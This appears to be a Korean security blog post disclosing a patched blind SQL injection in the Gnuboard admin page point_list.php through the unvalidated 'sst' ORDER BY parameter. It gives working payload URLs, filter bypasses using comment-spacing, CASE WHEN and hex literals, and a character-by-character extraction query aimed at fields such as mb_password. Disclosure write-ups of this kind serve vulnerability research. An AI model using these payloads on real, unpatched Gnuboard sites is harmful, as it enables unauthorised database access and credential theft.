작년 해당 취약점을 발견 후 제보를 했고 패치도 금방 되었다. 이미 1년이 넘게 지났으니 이제 공개해도 될것 같아 공개한다.


사실 관리자 페이지에서 발생하는 취약점이기 때문에 활용도가 크지는 않다.


sst 변수에서 입력값 검증을 하지 않아 발생하는 취약점이며, order by 구문에 삽입이 가능하여 이를 이용한 blindSQL 인젝션이 가능하다.




거짓, po_rel_id 로 정렬 : /gnuboard/adm/point_list.php?&sst=case/**/when/**/1^1/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id


참, po_point 로 정렬 : /gnuboard/adm/point_list.php?&sst=case/**/when/**/1^0/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id




블라인드 인젝션이 가능하지만 몇가지 제약사항이 있었다. 


- 띄어쓰기 안됨 => /**/ 로 해결


- 서브쿼리 안됨 => case when 문으로 해결


- ' 안됨 -> 0x41 아스키 구문으로 해결


 ex)  mb_id like 0x%s and mb_password



아래처럼 공격해서 값을 알아낼 수 있다.


http://172.30.1.34/gnuboard/adm/point_list.php?&sst=case/**/when/**/po_content/**/like/**/0x25[아스키값]/**/then/**/po_point/**/else/**/po_rel_id/**/end&sod=desc&sfl=mb_id






'My Exploit' 카테고리의 다른 글

KISA ActiveX 취약점 집중점검 후기  (2) 2014.09.01
Bug Hunting - AkelPad Heap Unicode BufferOverflow  (2) 2013.11.21
메신저 exploit 제작기  (3) 2013.11.06

+ Recent posts